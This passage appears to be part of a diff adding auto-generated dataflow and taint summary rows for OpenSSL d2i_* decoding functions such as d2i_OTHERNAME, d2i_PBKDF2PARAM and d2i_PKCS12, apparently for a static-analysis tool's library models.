"ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_USER_NOTICE_SYNTAX", "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", 